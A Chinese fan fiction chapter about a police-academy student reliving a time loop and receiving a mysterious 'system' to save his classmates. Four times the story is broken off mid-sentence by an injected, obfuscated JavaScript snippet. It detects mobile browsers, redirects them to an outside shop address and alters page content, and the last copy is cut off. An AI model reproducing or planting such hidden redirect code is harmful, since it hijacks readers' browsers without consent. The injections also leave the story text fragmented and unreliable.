《【柯同警校组】同期总是在去世》 1. 楔子:再一次的结束和开始 如月琉生又回到了这里,天边明月高悬,比上次看见距离更远了一些,流光倾泻而下,淡淡清辉流淌在平静的海面上,反射出粼粼波光。 他静默地站了片刻,夜晚的清寒渗入骨髓,海风渐吹渐盛,冷得他止不住发颤,于是蹲下身,水里倒映出他面无表情的脸。 “琉……生。” 那双天青色的瞳孔微微睁大,耳边的呢喃声微弱而清晰,那个唤他名字的人用着近乎虔诚的温柔语调,耗尽最后的力气对他耳语。 “你……” 什么? 记忆的绳索就此断裂,世界归于一片寂静,潮水声、风声、呢喃声都消失了,如月琉生茫然地抬头看去,四周空无一人。 如月琉生闭上眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11692915|124305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绞尽脑汁地想着那个人说了什么,他记忆里明亮的色彩暗淡,在那声如同梦魇的呢喃之后,只剩空洞的灰白。 没关系,那就让他再说一次,下次见到他,一定要让他再说一次。 如月琉生潜入海水,他放纵自己沉没,舒展四肢,带着对下一次睁眼时的期盼和本能的对于溺水的恐惧,缓缓闭上了眼睛。 2. 第八次轮回开始 “喂,喂,你怎么了——如月琉生!” 声音一开始如同隔着深水听不清晰,感官迟钝地复苏,肩膀上传来另外一个人的温度,似乎是有人揽住了他,溺水的无力感还没完全褪去,如月琉生深深吸了口气,眼前在天旋地转之后终于聚焦。 已经在他面前蹲下的降谷零察觉到他似乎清醒了一点,提起的气松缓了些:“因为没吃早饭低血糖什么的实在是太逊了啊,ruki。” 另一道更温柔的声音从上方传来:“果然还是应该每天都叫你和我们一起的。” 如月琉生眨眨眼,后知后觉地意识到自己正靠在这人怀里,淡淡的沐浴露香味围绕着他,掺杂着面前这人特有的温和气息,他愣愣地“啊”了一声,手已经下意识捏住了一小截衣袖。 松田阵平“啧”了一声,看着如月琉生不太清醒的样子毫不留情地嘲笑道:“不好好吃饭的小鬼,下次可别被我揍得爬不起来。” 靠着他的萩原研二笑了两声:“嘛,嘛,小阵平分明很担心小琉生,不要口是心非啦。”他伸长脖子去看如月琉生:“小琉生感觉好些了吗?” 伊达航高大的身躯凑近,他弯腰的时候几乎挡住了全部阳光,认真负责的班长仔细打量了他一番:“看着像是好点了,不过还是去医务室休息一下比较好,一会儿的射击课帮你请假。” 在他们三言两语间,诸伏景光已经把如月琉生扶到了降谷零的背上,对三人示意:“我和zero带琉生去医务室。” 萩原研二拍拍松田阵平的肩,点点头:“好好休息呀小琉生,我们中午再来看你哦。” 热闹的声音转瞬退去,如月琉生努力从恍如隔世的感觉中挣脱出来,诸伏景光走在他身边,和降谷零聊着一些闲事,三三两两的警校生走过,太阳暖暖地晒在身上,光明、生机和热血充满了这座校园,他默默听着两人说话,把头搁在降谷零的左肩上,碎发遮住了他的眼睛,他就躲在碎发后,偷偷看走在阳光下的人。 “……下次可不能这样了啊,今天把我们都吓了一跳呢。” 偷看时蓦然对上本人的视线,如月琉生缩紧手臂,把降谷零勒得向后仰倒,金毛一边稳稳地托着他,一边愤怒地大叫:“我说——不老实的话就自己下来走路啊!” 如月琉生迅速伸手把那头金发揉成了鸡窝,在人炸毛的前一秒死命搂住他的脖子:“降谷君,我可是病号啊,请发扬你的同学爱精神!” 降谷零黑着脸甩了两下头发,一边咬牙切齿地说:“我可没有那种东西。” 诸伏景光蓝灰色的凤眼里氤氲着温和的笑意,看够了猫猫互啄的戏后才开口:“琉生刚刚有没有在认真听我说的话?” 如月琉生呐呐地应声:“听了,听了。” 降谷零发出不屑的嘲笑声,成功又收获了一次锁喉。 “那明天我来叫琉生起床?” “啊——”如月琉生发出无可奈何的哀叹声,怏怏地垂着头:“什么嘛,根本睡不够啊,所以熬夜学习什么的果然是只有zero才干得出来的事儿。” 降谷零无情吐槽:“你每天睡得最早醒得最晚,中午还要打盹,到底为什么这么能睡。” “之前琉生就是这样。”诸伏景光无奈地摇头,似乎回忆起了一些往事:“休假日常常要睡到下午才起来,我还以为琉生晚上偷偷打游戏了。” 降谷零接上后一句话:“结果只是单纯的能睡而已。” “医务室到了!”如月琉生急促地拍打着他的背:“降谷君,请你赶紧送我进去,我感觉自己快要喘不上气了。” 检查的结果也是低血糖,校医挂了葡萄糖让他好好休息就不见人影,降谷零拖了凳子反着坐到他面前,手搭在椅背上,若有所思地看着他:“竟然真的只是低血糖吗?” 如月琉生接过诸伏景光递来的水喝了一口,往旁边挪了挪给他空出一个可以坐的位置,闻言夸张地做出伤心状:“什么什么,zero竟然感到很失望吗,我真是太伤心了!” 降谷零嘀咕着:“你知不知道你刚才……” “刚才琉生突然就呆住了,站在原地没有反应,松田喊了你好几声,我们凑过来的时候,你的瞳孔都涣散了,刚碰到你你就倒了。”诸伏景光语气里带着点担忧,其他两人都明白他的未尽之意——这不太像是单纯的低血糖。 “啊——”如月琉生苦恼地捂着脸,似乎有些无可奈何:“因为低血糖什么的在训练完之后晕倒我也觉得很丢人啊,所以想着坚持住不被人发现,没想到失败了……” 降谷零满头黑线:“你是笨蛋吗,这该怎么坚持住,不舒服就直说啊!” “好了好了,知道了,你好啰嗦啊,不是还有一节课吗,你们快回去上课。”如月琉生先把坐在他身边的诸伏景光推着起身,挥着手向他们告别:“拜拜拜拜,中午我要吃炸猪排!” 降谷零拖长声音:“知——道——了。” 如月琉生目送着两人离开,诸伏景光走之前还把窗户也掩上了,室内带着温暖干燥的气息,静静坐了一会儿,他放松了身子仰躺,把手背盖到眼睛上,寂静蔓延开来,记忆里带着血色的脸庞又出现在他面前,灰蓝色的眼睛渐渐混沌,诸伏景光失力的气声就在耳边,他说: “琉……生。” “你……” “……小琉生?” 如月琉生悚然一惊,他放下手,有些讶异地看向来人:“萩原?” “昂昂。”萩原研二笑眯眯地回应道,举起手上的消毒水和创口贴:“有同学不小心受伤了,我来拿创口贴。” 他慢慢走近如月琉生,紫罗兰色的眼睛认真注视着他,站定后微微弯腰,偏长的头发垂落下来,声音也较往日低沉:“倒是小琉生,刚刚在想什么?” 如月琉生目光镇定,他知道就算只是一瞬间的情绪失控,也无法瞒过眼前这人,萩原研二拥有极强的洞察力,对他人情绪有着敏锐的感知,有时候即使不曾说出口,也只是因为经过极高的情商判断出这话不适合直言,实则心中自有成算。 因此他缓了缓声,有些埋怨:“萩原君又把对女孩子那套用到我身上。” “被发现了欸,研二酱好失望。”萩原研二假装苦恼,他目光移到如月琉生打吊针的那只手上:“我去叫医生重新换一下针头吧?” 因为刚刚用力握拳,针头刺破了血管壁,如果不及时处理容易造成肿胀。如月琉生点点头:“辛苦 萩原了,我还是有点头晕,如果一会能喝到一杯温热的葡萄糖水就好了。” 萩原研二放下手里的东西,比出了个很闪亮的手势:“包在研二酱身上!” 可千万别再露馅了啊,如月琉生。他在心里反复告诫自己,打起精神以应对萩原研二时不时落到身上的目光,等到医生重新挂好葡萄糖,才对萩原研二说道:“萩原快回去吧?不要忘了还有受伤的同学等待你的救援呢。” 萩原研二摆摆手,拿起东西对他挥手:“没事啦,大猩猩是不会轻易被小小伤口打败的,不过我确实该走了,中午见,小琉生。” 这已经是今天第二次萩原研二对他说出这句话,当然,着兴许也和他本人的性格有关,似乎每一次无论是短暂还是长期的分别,萩原研二都习惯说出这句话,久而久之,让人连听见这句话心里都泛起信任与暖意。 真是很可怕呢,研二酱。 盯着吊瓶的溶液慢慢滴落,如月琉生数着次数,数到8的时候停顿下来,嗯——这是第八次了。 一切都始于一场卧底行动,在降谷零和诸伏景光进入黑衣组织卧底不久,身处组织犯罪对策部的如月琉生也因为被黑衣组织注意到而顺水推舟地潜入卧底,但却和诸伏景光相继暴露,前者于天台自杀,后者被琴酒击毙于一处荒郊。 关于到底为什么暴露这件事,一开始如月琉生只是略有猜测,在第一次被组织注意到陷入危急情况时,上司请求公安协助,当时前来负责援助的,似乎是某位卧底的联络员,但他当时做了伪装,如月琉生并未看清他的脸,但他绝对记住了如月琉生,寻常的联络员不会实时知道组织里都进入了哪些新人,但如果是在警方为黑衣组织提供“老鼠”的动向的卧底,知道他的真实身份也顺理成章。 当然,这只是目前他能做出的最可能的猜测,他既不知联络员名字,也不能违规从诸伏景光那里问到关于这个人的讯息,仅凭自己与诸伏景光相继暴露做出以认识人员重合为由来判断还是有些轻率。主要还是因为,他在后来的三次卧底中逐渐应心得手,但无论如何都无法改变诸伏景光暴露身亡的结局。 因此只能是警视厅内部出现了卧底。他也在这个过程中明白,作为卧底身处黑衣组织,很难反向清查内部出现的问题。转而避免与黑衣组织正面接触,在公安部,警备部和总务部相继呆过,在第六次诸伏景光自杀身亡后,他没有再自杀,选择了继续调查,终于确定了卧底的身份以及背后的势力,但同时他也发现,松田阵平竟然会在一年以后,死于摩天轮的炸弹,而四年前被他救下的萩原研二,也在这一天被炸死在米花医院。 这导致他在第七次轮回时惶恐不安,这段记忆如同隔着幻影,任凭他绞尽脑汁也回忆不出更具体的内容,如月琉生什么都想不起来,脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11692916|124305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海中只有那声呢喃如同梦魇反反复复地呼唤。 这次该怎么办…… 【叮——系统已导入】 【已绑定宿主如月琉生,正在检测宿主状态——检测完毕,正在载入模版】 【载入进度百分百,载入完成】 如月琉生刚听到这无感情的机械声音就头皮一炸,浑身汗毛直立,一骨碌爬起来左右环视,几次轮回训练出的危机意识拉到最高,他谨慎地观察片刻,敲了敲墙面,在强烈的对比中终于确定这声音是直接从自己脑子里响起的。 【宿主您好,我是系统009,很高兴为您服务。】 那感觉实在玄妙,就像突然能意识到自己灵魂的存在,延伸出了一个触角和另一个同样虚幻的物体相接,它的声音占据了大脑,震得他有些恍惚。 【检测到宿主精神状态下降,系统启动保护模式】 接着,他便感受到一个像膜一样的东西包裹上来,他浑身发麻发冷,几分钟后才缓慢平复。 【宿主,你感觉好些了吗?】 声音变成了晴朗的少年音,听着也不在有刚刚那种震悚之感,如月琉生谨慎地开口:“好多了。” 【你可以在心里直接和我对话。】 如月琉生现在还有一种世界观重塑的荒谬之感,毕竟就算是纯科技产物,系统的存在也过于超前了。 他依言在心里默念了两遍要问的问题。 …… 怎么没反应。 他闭上眼,集中注意力默念:009,你在吗? …… 他是轮回太多精神出问题了吗?难道他根本没有轮回,也没有所谓的重生,他只是疯了,这一切都是他臆想出来的?也许只是接受不了好友的死亡,又无力改变,所以他只能寄希望于幻想…… 【检测到宿主精神状态下降,请停止思考】 “你能听到我在说什么吗?”思绪被打断,如月琉生开口问道。 【保护模式下,系统无法窥探宿主心音,请宿主自行探索与系统的交流方式,不要怀疑系统的真实性,不要试图理解系统成因,本系统曾被评为年度十佳好系统,会辅助宿主做出最正确的抉择】 这似乎还是个爱护人类的老员工了,如月琉生发问:“做出关于什么的‘正确’抉择呢,能告诉我你找上我的原因吗?为什么我不能探究你的来源?” 【我自称‘系统’,因为这是人类最能理解的存在方式,系统模式参照人类250万年产生的游戏生成,将辅助宿主完成心愿,检测到宿主心愿如下:1.拯救好友 2.消灭黑衣组织,我将以发布任务和进行奖惩的形式进行辅助】 【宿主身上有不正常的能量波动,实现心愿的执念强烈,根据测算,因为系统而导致精神失常的可能仅有百分之二十】 想问的问题很多,如月琉生只能先找要紧的问题,比如说——就算是他无法理解的生物,也有做某件事的原因吧。 “不只是找上我的原因,你为什么要一个人来进行你所说的——帮助?” 【我受到规则限制,无法独立存在】 这句解释有些语焉不详,如月琉生还欲要问,门外传来萩原研二开朗热情的声音: “小琉生!我们来啦!” 骤然挤进五个大猩猩,原本还宽敞的空间骤然拥挤起来,如月琉生伸出双手作拥抱状:“哇!请问我美味的猪排饭到了吗,我实在是太思念它了!” 降谷零把袋子递到他手上:“看起来已经完全恢复了?” “是哦是哦,已经可以一拳一个zero了。”如月琉生小鸡啄米似的点头,眼睛粘在饭上,语气又轻又欠揍。 降谷零黑线:“喂,你这家伙——” “阿拉阿拉,小降谷宽容一下病号啦。”萩原研二伸出天使之手。 松田阵平看着如月琉生一门心思地刨饭,吐槽道:“完全看不出病号的样子。” “是的!”如月琉生百忙之间抽出嘴:“吃完这顿饭我就能满血复活了!” 诸伏景光微笑脸:“就算这样明天也要和我们一起出门吃早饭哦。” 降谷零想到什么,露出十分头痛的表情:“每次叫你起床都感觉自己受到了精神攻击,到底为什么,多睡几分钟能让你原地变身超人吗?” “不。”如月琉生摇摇头,高深莫测地说道:“因为只要多睡几分钟,就能——” “收获一只散发黑气十分枯萎的黑皮金毛!” 降谷零捏着拳头:“……如,月,琉,生!” 诸伏景光:“……”啊,又开始了。 3. 智能版ptsd 由于有太多问题想问系统,如月琉生早早就和几位同期道别先回了宿舍,他谨慎地关好窗户拉上窗帘,免得被人误以为他在对着空气自言自语。 “系统,你在吗?” 【我在,宿主。】 “白天的问题还没有回答完全,再者,我需要完成一些什么任务呢?” 【系统的目的是为了观测,观测需要寻找宿主作为载体,系统任务有不同分类,宿主和系统建立连接后可以查看。】 “我不是很能相信你。”如月琉生思索了许久,他斟酌着言辞:“你的奖励和惩罚都是些什么?” 系统这次却没有一五一十地回答问题,而是反问:【宿主知道为什么七次轮回都无法改变你友人死亡的事实吗?】 如月琉生一愣。 【这个世界由高维观测者创造,对于他们和系统来说,这里没有时间的概念,所有人的命运如同一条平直的线,只会走向他预定的方向,而我们可以从他的任意节点进行观测,同时看到他的出生和死亡。】 “也包括我?” 【也包括你。】 如月琉生觉得荒谬又可笑。 【在无限个平行世界中,造成他们死亡的原因也许有所不同,但永远无法改变最后的结果,原世界线中的人物不可能真正逃离命运——除非有外力的介入】 “你的意思是我别无选择。” 【不,我的意思是,你有了更多的选择,系统发布的任务不会违背宿主的心愿,我们的目的是获取足够多的能量和高位观测者交换命运之力,通过世界本源的力量来促使世界线的改变】 如月琉生从混乱的大脑里努力挣扎出思路,他已经没有什么可以失去的,试试也无妨,比起深究系统的目的,拯救友人才是他最想要做的事情。 “我应该怎么做?” 【宿主,请你先尝试和系统连接,接受我的存在,保护模式下,我无法展示任务页面。】 如月琉生想起系统说的“自行探索”,闭上眼,集中精神试图去感受那“触角”般的存在,和它所连接的不明生物。 他尝试将触角探入,精神被吞噬和吸入的感觉令人毛骨悚然,本能地想要逃离,他努力放松着并不抵抗系统的存在。 死亡。 他在一瞬间看见了很多死亡。 那些面孔或熟悉或陌生,甚至有他自己,枪杀、刀杀、毒杀,自杀……死法不尽相同,有人表情狰狞痛苦,有人空洞,有人恐惧,有人释然,交织着绝望和血色,他感到头脑剧痛,无数场景穿过,等到回过神来,他已经满头冷汗,手撑着桌面,指节发白。 “那是……什么?”他在心里想到。 【是一部分记录到系统内部的命运线。】 一听到系统讲话,原本平复的疼痛再次加剧,他恍惚间见到一个小小的微白光球,旁边滚动着一块巨大的光屏,等他要仔细去看,便觉得浑身发软,视线模糊,一下子摔倒在地,凳子被推翻发出了巨大的响声。 【宿主,建议你不要再思考世界的真实性了,世界对你而言,一直都是真实的。】 如月琉生闭目平复了一会,脑中有另一个世界的感受十分神奇,他控制着思绪,撑着手想先从地上爬起来。 “叩叩叩——” 被模糊了的温和声音从门外传来,带着担忧和急切。 “琉生?琉生——” 门终于被打开了。 如月琉生露出半张脸,看起来似乎很困,打了个哈欠问道:“景光?怎么了吗?” 他背后漆黑一片,没有开灯,连月光的光线也照不进来。 诸伏景光微微凑近,语带担忧:“我正要回宿舍,听到你房间有声音,没事吧?” 如月琉生语带抱怨,像是在感叹自己有多倒霉:“啊,我起来喝水,不小心把凳子碰翻了,还被绊了一跤,现在都觉得手肘很痛。” 诸伏景光有些无奈:“把窗帘拉开一点吧,摔得严重吗,要不要给你上药?” 如月琉生靠在门边,摆摆手:“不用啦不用啦,明天它就好了,我好困啊,景光也快去睡觉吧,明天见。” 诸伏景光应下,他打量着如月琉生露出来的半张脸,轻声:“那好吧,早点休息,琉生。” 如月琉生关上了门,松了口气摸黑走到床边,发了会儿呆,感觉状态不错了,才又开始研究脑中多出来的这片空间。 【当前误解值:0(已用值数0) 当前美强惨值:20(已用值数0)】 如月琉生一顿:“这是什么?” 【误解值是指当宿主在不言明的情况下他人对你产生的错误且具体的认知,美强惨值是指宿主在他人认知中,既美丽又强大且凄惨的程度。】 “……”如月琉生被像被卡住嗓子:“这是收集能量的方式?” 他想了想,补充道:“可以和高维观测者进行交换?” 【这是系统根据宿主特点计算出的最佳路径,每一百点数值可以兑换为1命运之力,不同人物所需开启命运点的数值不同,依据该人物存活而产生的影响力进行折算——萩原研二:1,松田阵平:2,诸伏景光:3,伊航达:1】 【命运之力越多,成功率越高,宿主受到的反噬越小】 如月琉生揉揉眉心,觉得有些棘手,但好歹有了确切的努力方向,虽然不是很理解所谓的“高维观测者”们,但是能达成目的,这些都无关紧要。 “这个误解值——” 【系统为宿主下载了阅读插件和疾病插件帮助宿主完成任务,阅读插件收录了人类经典作品和前人经验总结,疾病插件可以辅助产生各种疾病的的生理及心理状态,据系统总结,这是最容易产生误解值的方式之一】 是吗?那他让所有人以为自己得绝症要死了能一瞬间攒齐所有误解值吗? 【不建议宿主这样做,因为宿主不会因此死亡,且某一种具体的认知,所能得到的误解值有限】 所以需要具体且繁多的错误认知,会明显被拆穿的误解是不被承认的,误解的产生需要有完整的逻辑。 如月琉生决定先研读一下所谓的“前人经验总结”。 …… 降谷零不情不愿地挪到门前,一鼓作气,胸腔已经憋好一串叫起床用语,准备一进门就嗡嗡嗡烦死如月琉生。 咔哒,门开了,一脸菜色的如月琉生和他对视。 降谷零豆豆眼:“诶——?” 旁边的诸伏景光也有些意外。 如月琉生啪叽一下往前倒,降谷零手忙脚乱地接住他:“琉生??” 如月琉生头一歪做吐魂状:“好——困——啊——” 降谷零把着肩把人扯下来,看他神色疲倦,眼下青黑:“你是一晚上都没睡吗?” 如月琉生呆呆地点了两下头。 “诶诶诶,居然已经把人叫起来了吗,起床大师降谷君大成功。”萩原研二勾着松田阵平的脖子走过来,笑眯眯地凑近:“诶呀,做噩梦了吗小琉生,看起来好累。” 如月琉生被前人经验震撼的心情和熬夜整晚的疲倦总算在吸了一口降谷零之后缓过来点,他睁开半眯的眼睛,刚准备说话,突然卡住一般顿在原地,接着看了一圈同期们,才若无其事地收回目光:“和五只大猩猩的早餐时光要开始了吗?” 诸伏景光熟练地顺毛:“按时吃早餐的话,下次给你做曲奇饼干。” 松田阵平拽拽地站着:“又出现了,景光——”后面两个字淹没在诸伏景光看过来的温和目光中。 如月琉生把自己挂在降谷零身上,朝前伸手:“请出发吧,降谷大将军。” “这又是什么称呼……”降谷零习以为常又充满怨念地一手拖他,一手拍了拍诸伏景光:“走吧,Hiro。” 背后传来萩原研二的打趣:“感情真好呀,幼驯染。” …… 头上的数字代表着他们迎来死亡的倒计时吗,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11692917|124305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实他昨天就有疑惑,为什么班长也算在那张改变命运的名单里,班长是因为什么而死的?他回忆着昨天看到的死亡现场,确定自己没有见到伊航达的脸。 在看到他们头上的倒计时时如月琉生浑身发凉,降谷零头上格外长的数字提示着他最后一人孤独前行的漫长岁月。 【金发青年独自一人来到墓园,他放下手里的花,静默地凝视着墓碑上的照片,过了一会儿,又开始絮絮叨叨地说些什么。 “关系要好的幼驯染在同一天殉职,这是什么地狱笑话……Hiro的墓碑要等到剿灭组织之后才能立,如果高明哥同意的话,干脆让你们待在一起吧。” 秋天的风带着寒气,吹来时卷走人身上仅剩的温度,安室透缓慢地呼吸着,他顿了顿,带着一点抱怨,在昔日友人的面前露出了最真实的情绪。 “如月琉生那家伙,现在不知道在干什么,成天找不到人。”强压下去的担忧心情蔓延开,他咬了咬后槽牙:“下次见面还是先揍一顿吧。” 没有下次见面了。 对不起啊,zero。 如月琉生躲在稍远一点的树后,屏息敛神,等注视着金发青年缓步离开后,又远远张望了一会儿,才拿起手枪,对准了太阳穴。 我一定会救你们的,一定。】 如月琉生微微侧头,注视着聊着聊着又要掐起架来的降谷零和松田阵平,像是感叹一般拖长了声音:“诶——zero和松田的感情已经变得这么好了。” 两个人几乎同时转身瞪他,异口同声道:“谁和他感情好了!” 如月琉生比出一个“哇”的口型,萩原研二这时也站在他身边,点点头附和:“超——有默契哦!” 松田阵平又瞪向跟着一起打趣他的幼驯染:“hagi!” 【宿主,或许不掩盖你的心情和异常,就能直接推动任务进度了。】 系统突如其来的话让如月琉生顿了顿,诸伏景光或许发现了什么,他能感受到对方若有若无的目光,重来了这么多次,对于如何隐瞒同期,如月琉生可以说颇有心得,只是昨天没能整理好心情……而已。 他当然必须尽快调整好状态,毕竟系统告诉他,在外力介入打破原有的轮回后,是否还有下一次,谁也无法保证。 最后一次了,不惜代价,谁也不能阻止他。 如月琉生看了眼系统面板上的宿主状态。 【状态:慢性中毒,皮肤饥渴症,ptsd(待触发)】 算是他浏览了一堆或严重或轻微,稀奇古怪五花八门的心理和生理病症后,挑选出来的貌似不那么严重的前两条,至于第三个…… “……那就这么决定了,小琉生没有意见吧?” 萩原研二半长的头发挽到耳后,脸上带着轻松的笑意望向他,眼睛眨巴眨巴,显出柔软的期盼。 好像一只大狗狗……如月琉生点点头,猜测应该是萩原把他们揪去联谊,于是道:“没有哦——” 他话还没说完,眼前萩原研二的脸突然苍白下去,逐渐青紫,显出可怖的死气,紫罗兰色的眼睛失去神采,变得灰败而无神,他半边身子都被炸弹炸毁,剩下半边露出内里腐烂的血肉,鲜血一滴滴落到地上,恍惚间,爆炸的声音震耳欲聋,他闻到了刺鼻的硝烟味。 什么……? 巨大的恐惧席卷而来,他感到自己在颤抖,急促的喘息,如月琉生努力控制自己,僵硬地站在原地,过了好一会儿,他才能听见耳边传来的,同期的一声声呼唤。 站在他身边的诸伏景光一手撑着他的腰,看他失焦的眼神逐渐聚集,皱着眉又喊了一声:“琉生?” “啊——”如月琉生低叹一声,系统面板上的“待触发”已经变成了“已触发”,他站直身子,摆了摆手:“没事啦没事啦,昨晚没睡觉,刚刚突然觉得头好晕。” 这就是系统所谓的根据宿主经历量身定制的智能版ptsd? 如月琉生的心情糟糕透顶。 4. 所有人都在的这一天 “没事啦没事啦,昨晚没睡觉,刚刚突然觉得头好晕。”黑发青年摆摆手,若无其事地说道,有些偏白的皮肤下还能看到细小的汗珠,他揉了揉额头,似乎有些困倦,随即拉着身侧猫眼青年的手臂,示意他往前走。 “再不走的话要迟到了啊。” 松田阵平皱着眉:“喂,你——” “啊,是啊。”出乎意料的,猫眼青年打断了他的话,诸伏景光态度如常,温和问道:“昨晚在做什么事吗,还是做噩梦所以睡不着?” 萩原研二也跟着捅了捅自家幼驯染,拉着他跟了上去:“是哦是哦,如果有什么烦恼的话,萩原君可以帮你解决。” 如月琉生在好友们暗戳戳的关心下,原本糟糕的心绪渐渐平和下来,他嘴角挂着真实温柔的笑意,用惯常的懒散语调开口:“因为想到第二天会有五只大猩猩在床边围着叫我起床,感觉呼吸都变得困难了,完全不敢入睡呢。” 降谷零无语吐槽:“这是不是也有点太夸张了。” 如月琉生摇头晃脑地走着:“嘛,嘛,大猩猩本人当然意识不到自己对人类的威慑力了,对练的时候可完全不敢和你们打啊。” 老实人伊达航诚恳建议:“所以琉生要不要我们帮你训练一下?” “不要。”如月琉生即答。 降谷零有些不赞同地看着他:“其实你没有用尽全力吧,上次对练的时候我就看出来了,你——” 松田阵平帮他补了下一句话:“输赢完全看心情。” “只是同学对打,不需要那么认真啦。”如月琉生转而勾着降谷零的脖子,降谷零比他高,被勾得稍稍弯腰,还没等他继续发表好学生的较真言论,如月琉生就捂住他的嘴,自顾自地说道:“用尽全力地厮打,当然要留给敌人,而不是同伴。” 降谷零扒开他的手:“虽然如此,但——唔!唔——放开!” 借机揉了两把降谷零柔软的脸蛋,如月琉生在他暴起之前一溜烟窜到诸伏景光身后,发出可怜的求救声:“呜呜,景光救我。” 他偏圆的绿眼睛巴巴地看着诸伏景光,努力眨出了一层薄雾,神情委屈中带着祈求,甚至双手揪着诸伏景光的衣服扯了扯,又喊了一声:“景光~” 诸伏景光败下阵,转过头看着降谷零,露出温柔的笑意:“……zero。” 猫猫有什么坏心眼呢,你就原谅猫猫一次吧。 降谷零黑着脸咬牙切齿:“我就知道!” 松田阵平发出了不屑地嘲笑。 降谷零的愤怒瞬间被吸引过去:“卷毛混蛋,你笑什么!” 松田阵平扯着嘴角:“怎么,要打架吗,金发混蛋。” 萩原研二在两人扭打起来之前迅速远离战火:“……啊,真的会迟到吧。” 结果当然迟到了,并且再次喜提刷浴室套餐,再这样下去整学期的浴室都要被他们承包了。 当然这不是最要紧的,最要紧的是如月琉生——他发誓,他下次一定要先具体地了解一下备选的病症,在今天以前,他对皮肤饥渴都停留在十分表面且浅显的认知上。 他的思绪停留在诸伏景光落到腰间的那双手上,那一小块皮肤在他反复的幻想中发麻发痒,然而空虚感却越来越强烈,他渐渐有些焦虑。 好想皮肤和皮肤接触,没有衣服的遮挡,想要拥抱…… 整个人变得好奇怪…… 如月琉生左手反复抚摸着右手腕,以此来减轻随着时间流逝越发明显的焦渴感。 【误解值加五】 如月琉生一愣,下意识抬头,刚好看到诸伏景光隐晦收回的目光。 这种温柔的、默默的、隐含担忧的诸伏景光的目光。 下午的对练如月琉生抽到了和松田阵平对打。 如月琉生很想叹气,中午吃饭的时候借机勾肩搭背了一会儿,但总不能堂而皇之地熊抱摸手……他感觉自己要和这种焦渴的心常伴了,还是早点习惯为好。 上午被点破对打不尽力,下午就被大猩猩抓到了,如月琉生磨磨蹭蹭地站到松田阵平对面,趁着鬼冢教官没注意他们,悄悄和松田阵平咬耳朵:“松田君,手下留情啊。” 松田阵平抱臂挑眉:“我可没有诸伏和降谷那么好说话。” “所以——” “给我好好打啊!” 松田阵平突然打出一拳,如月琉生下意识闪开跳到一边做防备姿态,松田阵平见状笑了笑:“反应很快嘛。” 大猩猩可没有其他人好糊弄,虽然这一幕已经重现了第八次,松田阵平的某些出招他能预测出来,但是仍需要打起精神表示认真。 每一次的抽签结果都是如此,但松田阵平的出招却不是完全一样的。 真是个虚假又真实的世界。 最后的结果是如月琉生险险胜过。 几人都有些意外,松田阵平因为刚刚的对打显露出流畅的肌肉线条,眼里闪烁着兴奋和赞善,他伸手锤了下如月琉生的肩膀,说话时意气风发:“下次再来!” 伊达航捧场的鼓掌:“松田和琉生都很强,这场比试真精彩啊。” 率先走过来的降谷零眼中也流露出战意,他哼笑着走近:“敷衍的话,会被联手暴打的。” 如月琉生笑着举起双手表示投降:“我哪敢敷衍你们。” 萩原研二眼带好奇,摸着下巴思索:“总感觉小琉生很熟悉小阵平的招式呢。” 松田阵平肯定:“好几次出招都被提前预料了,差点以为和你打了很多场。” “是因为我看了很多场,所以能推测出一些你的习惯。”如月琉生挑眉:“不只是你,其他人也是哦。” “很厉害。”诸伏景光夸赞道:“这种观察力和记忆力。” 【误解值+10】 如月琉生默默把解释的话咽了回去,本来想说“只观察你们五个”什么的…… 不过……他环视了一圈,视线落到诸伏景光身上。 诸伏景光眨了眨眼:“怎么了吗,琉生。” 如月琉生指着松田阵平:“打赢了大猩猩,有什么奖励吗?” 被指的松田猩猩不满:“你是什么幼稚的小学生吗,找家长要奖励。” 诸伏景光倒是接受良好,他点了点头:“琉生想要什么奖励——” 他话音未落,如月琉生就整个熊抱上来,两个人贴得严严实实,如一阵暴烈的风吹了诸伏景光满身,但还没来得及有什么反应,如月琉生就噔噔噔地后退两步,心满意足的勾起唇角。 萩原研二呐呐道:“这是什么少女漫演绎现场吗?” 熟知如月琉生黏糊本性的降谷零成功被转移注意力:“什么?萩原还看这种东西吗?” 萩原研二抽了抽嘴角:“这不是重点啊小降谷……” 晚上回宿舍的时候,诸伏景光跟着如月琉生走到了门口,如月琉生知道他大概有话要说,两人一起进了门。 已经到了熄灯时间,如月琉生让诸伏景光先别动,自己轻车熟路的去窗边拉开窗帘,又推开窗户,夜晚微凉的风吹进来,驱散了一些沉闷。 借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 